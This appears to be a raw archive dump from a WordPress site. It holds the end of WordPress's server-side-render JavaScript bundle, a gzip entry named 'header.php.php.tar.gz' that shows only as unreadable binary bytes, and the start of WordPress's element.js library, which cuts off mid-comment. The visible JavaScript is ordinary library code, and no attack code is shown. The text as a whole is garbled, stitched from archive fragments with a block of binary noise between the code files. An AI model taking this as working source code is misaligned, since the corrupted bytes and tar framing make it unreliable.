/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  "default": () => (/* binding */ build_module)
});

;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
var es6 = __webpack_require__(7734);
var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/server-side-render/build-module/server-side-render.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








const EMPTY_OBJECT = {};
function rendererPath(block, attributes = null, urlQueryArgs = {}) {
  return (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-renderer/${block}`, {
    context: 'edit',
    ...(null !== attributes ? {
      attributes
    } : {}),
    ...urlQueryArgs
  });
}
function removeBlockSupportAttributes(attributes) {
  const {
    backgroundColor,
    borderColor,
    fontFamily,
    fontSize,
    gradient,
    textColor,
    className,
    ...restAttributes
  } = attributes;
  const {
    border,
    color,
    elements,
    spacing,
    typography,
    ...restStyles
  } = attributes?.style || EMPTY_OBJECT;
  return {
    ...restAttributes,
    style: restStyles
  };
}
function DefaultEmptyResponsePlaceholder({
  className
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, {
    className: className,
    children: (0,external_wp_i18n_namespaceObject.__)('Block rendered as empty.')
  });
}
function DefaultErrorResponsePlaceholder({
  response,
  className
}) {
  const errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %s: error message describing the problem
  (0,external_wp_i18n_namespaceObject.__)('Error loading block: %s'), response.errorMsg);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, {
    className: className,
    children: errorMessage
  });
}
function DefaultLoadingResponsePlaceholder({
  children,
  showLoader
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    style: {
      position: 'relative'
    },
    children: [showLoader && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      style: {
        position: 'absolute',
        top: '50%',
        left: '50%',
        marginTop: '-9px',
        marginLeft: '-9px'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      style: {
        opacity: showLoader ? '0.3' : 1
      },
      children: children
    })]
  });
}
function ServerSideRender(props) {
  const {
    attributes,
    block,
    className,
    httpMethod = 'GET',
    urlQueryArgs,
    skipBlockSupportAttributes = false,
    EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder,
    ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder,
    LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder
  } = props;
  const isMountedRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const [showLoader, setShowLoader] = (0,external_wp_element_namespaceObject.useState)(false);
  const fetchRequestRef = (0,external_wp_element_namespaceObject.useRef)();
  const [response, setResponse] = (0,external_wp_element_namespaceObject.useState)(null);
  const prevProps = (0,external_wp_compose_namespaceObject.usePrevious)(props);
  const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false);
  function fetchData() {
    var _sanitizedAttributes, _sanitizedAttributes2;
    if (!isMountedRef.current) {
      return;
    }
    setIsLoading(true);

    // Schedule showing the Spinner after 1 second.
    const timeout = setTimeout(() => {
      setShowLoader(true);
    }, 1000);
    let sanitizedAttributes = attributes && (0,external_wp_blocks_namespaceObject.__experimentalSanitizeBlockAttributes)(block, attributes);
    if (skipBlockSupportAttributes) {
      sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes);
    }

    // If httpMethod is 'POST', send the attributes in the request body instead of the URL.
    // This allows sending a larger attributes object than in a GET request, where the attributes are in the URL.
    const isPostRequest = 'POST' === httpMethod;
    const urlAttributes = isPostRequest ? null : (_sanitizedAttributes = sanitizedAttributes) !== null && _sanitizedAttributes !== void 0 ? _sanitizedAttributes : null;
    const path = rendererPath(block, urlAttributes, urlQueryArgs);
    const data = isPostRequest ? {
      attributes: (_sanitizedAttributes2 = sanitizedAttributes) !== null && _sanitizedAttributes2 !== void 0 ? _sanitizedAttributes2 : null
    } : null;

    // Store the latest fetch request so that when we process it, we can
    // check if it is the current request, to avoid race conditions on slow networks.
    const fetchRequest = fetchRequestRef.current = external_wp_apiFetch_default()({
      path,
      data,
      method: isPostRequest ? 'POST' : 'GET'
    }).then(fetchResponse => {
      if (isMountedRef.current && fetchRequest === fetchRequestRef.current && fetchResponse) {
        setResponse(fetchResponse.rendered);
      }
    }).catch(error => {
      if (isMountedRef.current && fetchRequest === fetchRequestRef.current) {
        setResponse({
          error: true,
          errorMsg: error.message
        });
      }
    }).finally(() => {
      if (isMountedRef.current && fetchRequest === fetchRequestRef.current) {
        setIsLoading(false);
        // Cancel the timeout to show the Spinner.
        setShowLoader(false);
        clearTimeout(timeout);
      }
    });
    return fetchRequest;
  }
  const debouncedFetchData = (0,external_wp_compose_namespaceObject.useDebounce)(fetchData, 500);

  // When the component unmounts, set isMountedRef to false. This will
  // let the async fetch callbacks know when to stop.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    isMountedRef.current = true;
    return () => {
      isMountedRef.current = false;
    };
  }, []);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Don't debounce the first fetch. This ensures that the first render
    // shows data as soon as possible.
    if (prevProps === undefined) {
      fetchData();
    } else if (!es6_default()(prevProps, props)) {
      debouncedFetchData();
    }
  });
  const hasResponse = !!response;
  const hasEmptyResponse = response === '';
  const hasError = response?.error;
  if (isLoading) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LoadingResponsePlaceholder, {
      ...props,
      showLoader: showLoader,
      children: hasResponse && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, {
        className: className,
        children: response
      })
    });
  }
  if (hasEmptyResponse || !hasResponse) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyResponsePlaceholder, {
      ...props
    });
  }
  if (hasError) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorResponsePlaceholder, {
      response: response,
      ...props
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, {
    className: className,
    children: response
  });
}

;// ./node_modules/@wordpress/server-side-render/build-module/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Constants
 */

const build_module_EMPTY_OBJECT = {};
const ExportedServerSideRender = (0,external_wp_data_namespaceObject.withSelect)(select => {
  // FIXME: @wordpress/server-side-render should not depend on @wordpress/editor.
  // It is used by blocks that can be loaded into a *non-post* block editor.
  // eslint-disable-next-line @wordpress/data-no-store-string-literals
  const coreEditorSelect = select('core/editor');
  if (coreEditorSelect) {
    const currentPostId = coreEditorSelect.getCurrentPostId();
    // For templates and template parts we use a custom ID format.
    // Since they aren't real posts, we don't want to use their ID
    // for server-side rendering. Since they use a string based ID,
    // we can assume real post IDs are numbers.
    if (currentPostId && typeof currentPostId === 'number') {
      return {
        currentPostId
      };
    }
  }
  return build_module_EMPTY_OBJECT;
})(({
  urlQueryArgs = build_module_EMPTY_OBJECT,
  currentPostId,
  ...props
}) => {
  const newUrlQueryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!currentPostId) {
      return urlQueryArgs;
    }
    return {
      post_id: currentPostId,
      ...urlQueryArgs
    };
  }, [currentPostId, urlQueryArgs]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ServerSideRender, {
    urlQueryArgs: newUrlQueryArgs,
    ...props
  });
});
/* harmony default export */ const build_module = (ExportedServerSideRender);

(window.wp = window.wp || {}).serverSideRender = __webpack_exports__["default"];
/******/ })()
;14338/header.php.php.tar.gz000064400000001772151024420100011155 0ustar00��VYo�6�W�W̪ݵ�E�j��H�t(�<(�$P�HbM�
I%1��R����ۢ��}���\�\V�d�A{[�(�Ѡ�Qa.�+����]Yj��u��&�u��ډP��
�����-w�F^�Iں}���Dߜ�����=��������씞s⟜;=�����:n����H�K�VĎ�"8��Z��y��6�55�
\�e���/wz��
l
��a��4���W��P
�@g���2�r�M}��LH�6p'\
Z��W��`�oɸP���\G�n�X�UB�X�>F�z��h������N{o�Ya��;��
&^q`[#�+G��#d!�9R�l�+x�~��}�˜��`���|�}^ӐYJQ?L��S"�ݙ>)�g‰Ƴ�r�_�����P�Fһ? �$�I����9#�Ρ�gp��b4�tH�֔m��[�}"c�
���v���UM[%�T�T�8FZ
:^b�7��]�WZ9Tn�ڴd!��qF&u%T�	�.u$D�| 3�kn,�Ł�b+�Fs'��e/�y��M+ti��!�i�A�Y/=Ei�F�����G��3r��G���;�[C���d07��O˓d��m��Nv�\�AR�0
��⽰Ύ��|Y!����6�1$0d��:[��2#�uV݉���j�[>��8(�A���U����S�E���+

���Kn2n�h"�&v�|�牆�WĒ��o�5m��h_Q4PL��Z�_>�Q��).�R2�lY�ෙ;@?9�x�z�C�z>A�*�"w�
�lg��DsJ+��ö ��@)+?�=n�rv��^��a���93�3h[�Nr�+M��;L�D����c���%?s~{�SF.��$��f�x��4��>�B܂(h2��=��z��hI}�q�荲���h*�����?��j�����;d�� �~�n�=g���
z?!�EL�6!�"�0��vo��}���;j�G�����z������14338/element.js.tar000064400000211000151024420100007761 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/element.js000064400000205042151024364460024732 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ 4140:
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {



var m = __webpack_require__(5795);
if (true) {
  exports.H = m.createRoot;
  exports.c = m.hydrateRoot;
} else { var i; }


/***/ }),

/***/ 5795:
/***/ ((module) => {

module.exports = window["ReactDOM"];

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  Children: () => (/* reexport */ external_React_namespaceObject.Children),
  Component: () => (/* reexport */ external_React_namespaceObject.Component),
  Fragment: () => (/* reexport */ external_React_namespaceObject.Fragment),
  Platform: () => (/* reexport */ platform),
  PureComponent: () => (/* reexport */ external_React_namespaceObject.PureComponent),
  RawHTML: () => (/* reexport */ RawHTML),
  StrictMode: () => (/* reexport */ external_React_namespaceObject.StrictMode),
  Suspense: () => (/* reexport */ external_React_namespaceObject.Suspense),
  cloneElement: () => (/* reexport */ external_React_namespaceObject.cloneElement),
  concatChildren: () => (/* reexport */ concatChildren),
  createContext: () => (/* reexport */ external_React_namespaceObject.createContext),
  createElement: () => (/* reexport */ external_React_namespaceObject.createElement),
  createInterpolateElement: () => (/* reexport */ create_interpolate_element),
  createPortal: () => (/* reexport */ external_ReactDOM_.createPortal),
  createRef: () => (/* reexport */ external_React_namespaceObject.createRef),
  createRoot: () => (/* reexport */ client/* createRoot */.H),
  findDOMNode: () => (/* reexport */ external_ReactDOM_.findDOMNode),
  flushSync: () => (/* reexport */ external_ReactDOM_.flushSync),
  forwardRef: () => (/* reexport */ external_React_namespaceObject.forwardRef),
  hydrate: () => (/* reexport */ external_ReactDOM_.hydrate),
  hydrateRoot: () => (/* reexport */ client/* hydrateRoot */.c),
  isEmptyElement: () => (/* reexport */ isEmptyElement),
  isValidElement: () => (/* reexport */ external_React_namespaceObject.isValidElement),
  lazy: () => (/* reexport */ external_React_namespaceObject.lazy),
  memo: () => (/* reexport */ external_React_namespaceObject.memo),
  render: () => (/* reexport */ external_ReactDOM_.render),
  renderToString: () => (/* reexport */ serialize),
  startTransition: () => (/* reexport */ external_React_namespaceObject.startTransition),
  switchChildrenNodeName: () => (/* reexport */ switchChildrenNodeName),
  unmountComponentAtNode: () => (/* reexport */ external_ReactDOM_.unmountComponentAtNode),
  useCallback: () => (/* reexport */ external_React_namespaceObject.useCallback),
  useContext: () => (/* reexport */ external_React_namespaceObject.useContext),
  useDebugValue: () => (/* reexport */ external_React_namespaceObject.useDebugValue),
  useDeferredValue: () => (/* reexport */ external_React_namespaceObject.useDeferredValue),
  useEffect: () => (/* reexport */ external_React_namespaceObject.useEffect),
  useId: () => (/* reexport */ external_React_namespaceObject.useId),
  useImperativeHandle: () => (/* reexport */ external_React_namespaceObject.useImperativeHandle),
  useInsertionEffect: () => (/* reexport */ external_React_namespaceObject.useInsertionEffect),
  useLayoutEffect: () => (/* reexport */ external_React_namespaceObject.useLayoutEffect),
  useMemo: () => (/* reexport */ external_React_namespaceObject.useMemo),
  useReducer: () => (/* reexport */ external_React_namespaceObject.useReducer),
  useRef: () => (/* reexport */ external_React_namespaceObject.useRef),
  useState: () => (/* reexport */ external_React_namespaceObject.useState),
  useSyncExternalStore: () => (/* reexport */ external_React_namespaceObject.useSyncExternalStore),
  useTransition: () => (/* reexport */ external_React_namespaceObject.useTransition)
});

;// external "React"
const external_React_namespaceObject = window["React"];
;// ./node_modules/@wordpress/element/build-module/create-interpolate-element.js
/**
 * Internal dependencies
 */


/**
 * Object containing a React element.
 *
 * @typedef {import('react').ReactElement} Element
 */

let indoc, offset, output, stack;

/**
 * Matches tags in the localized string
 *
 * This is used for extracting the tag pattern groups for parsing the localized
 * string and along with the map converting it to a react element.
 *
 * There are four references extracted using this tokenizer:
 *
 * match: Full match of the tag (i.e. <strong>, </strong>, <br/>)
 * isClosing: The closing slash, if it exists.
 * name: The name portion of the tag (strong, br) (if )
 * isSelfClosed: The slash on a self closing tag, if it exists.
 *
 * @type {RegExp}
 */
const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g;

/**
 * The stack frame tracking parse progress.
 *
 * @typedef Frame
 *
 * @property {Element}   element            A parent element which may still have
 * @property {number}    tokenStart         Offset at which parent element first
 *                                          appears.
 * @property {number}    tokenLength        Length of string marking start of parent
 *                                          element.
 * @property {number}    [prevOffset]       Running offset at which parsing should
 *                                          continue.
 * @property {number}    [leadingTextStart] Offset at which last closing element
 *                                          finished, used for finding text between
 *                                          elements.
 * @property {Element[]} children           Children.
 */

/**
 * Tracks recursive-descent parse state.
 *
 * This is a Stack frame holding parent elements until all children have been
 * parsed.
 *
 * @private
 * @param {Element} element            A parent element which may still have
 *                                     nested children not yet parsed.
 * @param {number}  tokenStart         Offset at which parent element first
 *                                     appears.
 * @param {number}  tokenLength        Length of string marking start of parent
 *                                     element.
 * @param {number}  [prevOffset]       Running offset at which parsing should
 *                                     continue.
 * @param {number}  [leadingTextStart] Offset at which last closing element
 *                                     finished, used for finding text between
 *                                     elements.
 *
 * @return {Frame} The stack frame tracking parse progress.
 */
function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) {
  return {
    element,
    tokenStart,
    tokenLength,
    prevOffset,
    leadingTextStart,
    children: []
  };
}

/**
 * This function creates an interpolated element from a passed in string with
 * specific tags matching how the string should be converted to an element via
 * the conversion map value.
 *
 * @example
 * For example, for the given string:
 *
 * "This is a <span>string</span> with <a>a link</a> and a self-closing
 * <CustomComponentB/> tag"
 *
 * You would have something like this as the conversionMap value:
 *
 * ```js
 * {
 *     span: <span />,
 *     a: <a href={ 'https://github.com' } />,
 *     CustomComponentB: <CustomComponent />,
 * }
 * ```
 *
 * @param {string}                  interpolatedString The interpolation string to be parsed.
 * @param {Record<string, Element>} conversionMap      The map used to convert the string to
 *                                                     a react element.
 * @throws {TypeError}
 * @return {Element}  A wp element.
 */
const createInterpolateElement = (interpolatedString, conversionMap) => {
  indoc = interpolatedString;
  offset = 0;
  output = [];
  stack = [];
  tokenizer.lastIndex = 0;
  if (!isValidConversionMap(conversionMap)) {
    throw new TypeError('The conversionMap provided is not valid. It must be an object with values that are React Elements');
  }
  do {
    // twiddle our thumbs
  } while (proceed(conversionMap));
  return (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, ...output);
};

/**
 * Validate conversion map.
 *
 * A map is considered valid if it's an object and every value in the object
 * is a React Element
 *
 * @private
 *
 * @param {Object} conversionMap The map being validated.
 *
 * @return {boolean}  True means the map is valid.
 */
const isValidConversionMap = conversionMap => {
  const isObject = typeof conversionMap === 'object';
  const values = isObject && Object.values(conversionMap);
  return isObject && values.length && values.every(element => (0,external_React_namespaceObject.isValidElement)(element));
};

/**
 * This is the iterator over the matches in the string.
 *
 * @private
 *
 * @param {Object} conversionMap The conversion map for the string.
 *
 * @return {boolean} true for continuing to iterate, false for finished.
 */
function proceed(conversionMap) {
  const next = nextToken();
  const [tokenType, name, startOffset, tokenLength] = next;
  const stackDepth = stack.length;
  const leadingTextStart = startOffset > offset ? offset : null;
  if (!conversionMap[name]) {
    addText();
    return false;
  }
  switch (tokenType) {
    case 'no-more-tokens':
      if (stackDepth !== 0) {
        const {
          leadingTextStart: stackLeadingText,
          tokenStart
        } = stack.pop();
        output.push(indoc.substr(stackLeadingText, tokenStart));
      }
      addText();
      return false;
    case 'self-closed':
      if (0 === stackDepth) {
        if (null !== leadingTextStart) {
          output.push(indoc.substr(leadingTextStart, startOffset - leadingTextStart));
        }
        output.push(conversionMap[name]);
        offset = startOffset + tokenLength;
        return true;
      }

      // Otherwise we found an inner element.
      addChild(createFrame(conversionMap[name], startOffset, tokenLength));
      offset = startOffset + tokenLength;
      return true;
    case 'opener':
      stack.push(createFrame(conversionMap[name], startOffset, tokenLength, startOffset + tokenLength, leadingTextStart));
      offset = startOffset + tokenLength;
      return true;
    case 'closer':
      // If we're not nesting then this is easy - close the block.
      if (1 === stackDepth) {
        closeOuterElement(startOffset);
        offset = startOffset + tokenLength;
        return true;
      }

      // Otherwise we're nested and we have to close out the current
      // block and add it as a innerBlock to the parent.
      const stackTop = stack.pop();
      const text = indoc.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset);
      stackTop.children.push(text);
      stackTop.prevOffset = startOffset + tokenLength;
      const frame = createFrame(stackTop.element, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength);
      frame.children = stackTop.children;
      addChild(frame);
      offset = startOffset + tokenLength;
      return true;
    default:
      addText();
      return false;
  }
}

/**
 * Grabs the next token match in the string and returns it's details.
 *
 * @private
 *
 * @return {Array}  An array of details for the token matched.
 */
function nextToken() {
  const matches = tokenizer.exec(indoc);
  // We have no more tokens.
  if (null === matches) {
    return ['no-more-tokens'];
  }
  const startedAt = matches.index;
  const [match, isClosing, name, isSelfClosed] = matches;
  const length = match.length;
  if (isSelfClosed) {
    return ['self-closed', name, startedAt, length];
  }
  if (isClosing) {
    return ['closer', name, startedAt, length];
  }
  return ['opener', name, startedAt, length];
}

/**
 * Pushes text extracted from the indoc string to the output stack given the
 * current rawLength value and offset (if rawLength is provided ) or the
 * indoc.length and offset.
 *
 * @private
 */
function addText() {
  const length = indoc.length - offset;
  if (0 === length) {
    return;
  }
  output.push(indoc.substr(offset, length));
}

/**
 * Pushes a child element to the associated parent element's children for the
 * parent currently active in the stack.
 *
 * @private
 *
 * @param {Frame} frame The Frame containing the child element and it's
 *                      token information.
 */
function addChild(frame) {
  const {
    element,
    tokenStart,
    tokenLength,
    prevOffset,
    children
  } = frame;
  const parent = stack[stack.length - 1];
  const text = indoc.substr(parent.prevOffset, tokenStart - parent.prevOffset);
  if (text) {
    parent.children.push(text);
  }
  parent.children.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children));
  parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength;
}

/**
 * This is called for closing tags. It creates the element currently active in
 * the stack.
 *
 * @private
 *
 * @param {number} endOffset Offset at which the closing tag for the element
 *                           begins in the string. If this is greater than the
 *                           prevOffset attached to the element, then this
 *                           helps capture any remaining nested text nodes in
 *                           the element.
 */
function closeOuterElement(endOffset) {
  const {
    element,
    leadingTextStart,
    prevOffset,
    tokenStart,
    children
  } = stack.pop();
  const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset);
  if (text) {
    children.push(text);
  }
  if (null !== leadingTextStart) {
    output.push(indoc.substr(leadingTextStart, tokenStart - leadingTextStart));
  }
  output.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children));
}
/* harmony default export */ const create_interpolate_element = (createInterpolateElement);

;// ./node_modules/@wordpress/element/build-module/react.js
/**
 * External dependencies
 */
// eslint-disable-next-line @typescript-eslint/no-restricted-imports


/**
 * Object containing a React element.
 *
 * @typedef {import('react').ReactElement} Element
 */

/**
 * Object containing a React component.
 *
 * @typedef {import('react').ComponentType} ComponentType
 */

/**
 * Object containing a React synthetic event.
 *
 * @typedef {import('react').SyntheticEvent} SyntheticEvent
 */

/**
 * Object containing a React ref object.
 *
 * @template T
 * @typedef {import('react').RefObject<T>} RefObject<T>
 */

/**
 * Object containing a React ref callback.
 *
 * @template T
 * @typedef {import('react').RefCallback<T>} RefCallback<T>
 */

/**
 * Object containing a React ref.
 *
 * @template T
 * @typedef {import('react').Ref<T>} Ref<T>
 */

/**
 * Object that provides utilities for dealing with React children.
 */


/**
 * Creates a copy of an element with extended props.
 *
 * @param {Element} element Element
 * @param {?Object} props   Props to apply to cloned element
 *
 * @return {Element} Cloned element.
 */


/**
 * A base class to create WordPress Components (Refs, state and lifecycle hooks)
 */


/**
 * Creates a context object containing two components: a provider and consumer.
 *
 * @param {Object} defaultValue A default data stored in the context.
 *
 * @return {Object} Context object.
 */


/**
 * Returns a new element of given type. Type can be either a string tag name or
 * another function which itself returns an element.
 *
 * @param {?(string|Function)} type     Tag name or element creator
 * @param {Object}             props    Element properties, either attribute
 *                                      set to apply to DOM node or values to
 *                                      pass through to element creator
 * @param {...Element}         children Descendant elements
 *
 * @return {Element} Element.
 */


/**
 * Returns an object tracking a reference to a rendered element via its
 * `current` property as either a DOMElement or Element, dependent upon the
 * type of element rendered with the ref attribute.
 *
 * @return {Object} Ref object.
 */


/**
 * Component enhancer used to enable passing a ref to its wrapped component.
 * Pass a function argument which receives `props` and `ref` as its arguments,
 * returning an element using the forwarded ref. The return value is a new
 * component which forwards its ref.
 *
 * @param {Function} forwarder Function passed `props` and `ref`, expected to
 *                             return an element.
 *
 * @return {Component} Enhanced component.
 */


/**
 * A component which renders its children without any wrapping element.
 */


/**
 * Checks if an object is a valid React Element.
 *
 * @param {Object} objectToCheck The object to be checked.
 *
 * @return {boolean} true if objectToTest is a valid React Element and false otherwise.
 */


/**
 * @see https://react.dev/reference/react/memo
 */


/**
 * Component that activates additional checks and warnings for its descendants.
 */


/**
 * @see https://react.dev/reference/react/useCallback
 */


/**
 * @see https://react.dev/reference/react/useContext
 */


/**
 * @see https://react.dev/reference/react/useDebugValue
 */


/**
 * @see https://react.dev/reference/react/useDeferredValue
 */


/**
 * @see https://react.dev/reference/react/useEffect
 */


/**
 * @see https://react.dev/reference/react/useId
 */


/**
 * @see https://react.dev/reference/react/useImperativeHandle
 */


/**
 * @see https://react.dev/reference/react/useInsertionEffect
 */


/**
 * @see https://react.dev/reference/react/useLayoutEffect
 */


/**
 * @see https://react.dev/reference/react/useMemo
 */


/**
 * @see https://react.dev/reference/react/useReducer
 */


/**
 * @see https://react.dev/reference/react/useRef
 */


/**
 * @see https://react.dev/reference/react/useState
 */


/**
 * @see https://react.dev/reference/react/useSyncExternalStore
 */


/**
 * @see https://react.dev/reference/react/useTransition
 */


/**
 * @see https://react.dev/reference/react/startTransition
 */


/**
 * @see https://react.dev/reference/react/lazy
 */


/**
 * @see https://react.dev/reference/react/Suspense
 */


/**
 * @see https://react.dev/reference/react/PureComponent
 */


/**
 * Concatenate two or more React children objects.
 *
 * @param {...?Object} childrenArguments Array of children arguments (array of arrays/strings/objects) to concatenate.
 *
 * @return {Array} The concatenated value.
 */
function concatChildren(...childrenArguments) {
  return childrenArguments.reduce((accumulator, children, i) => {
    external_React_namespaceObject.Children.forEach(children, (child, j) => {
      if (child && 'string' !== typeof child) {
        child = (0,external_React_namespaceObject.cloneElement)(child, {
          key: [i, j].join()
        });
      }
      accumulator.push(child);
    });
    return accumulator;
  }, []);
}

/**
 * Switches the nodeName of all the elements in the children object.
 *
 * @param {?Object} children Children object.
 * @param {string}  nodeName Node name.
 *
 * @return {?Object} The updated children object.
 */
function switchChildrenNodeName(children, nodeName) {
  return children && external_React_namespaceObject.Children.map(children, (elt, index) => {
    if (typeof elt?.valueOf() === 'string') {
      return (0,external_React_namespaceObject.createElement)(nodeName, {
        key: index
      }, elt);
    }
    const {
      children: childrenProp,
      ...props
    } = elt.props;
    return (0,external_React_namespaceObject.createElement)(nodeName, {
      key: index,
      ...props
    }, childrenProp);
  });
}

// EXTERNAL MODULE: external "ReactDOM"
var external_ReactDOM_ = __webpack_require__(5795);
// EXTERNAL MODULE: ./node_modules/react-dom/client.js
var client = __webpack_require__(4140);
;// ./node_modules/@wordpress/element/build-module/react-platform.js
/**
 * External dependencies
 */



/**
 * Creates a portal into which a component can be rendered.
 *
 * @see https://github.com/facebook/react/issues/10309#issuecomment-318433235
 *
 * @param {import('react').ReactElement} child     Any renderable child, such as an element,
 *                                                 string, or fragment.
 * @param {HTMLElement}                  container DOM node into which element should be rendered.
 */


/**
 * Finds the dom node of a React component.
 *
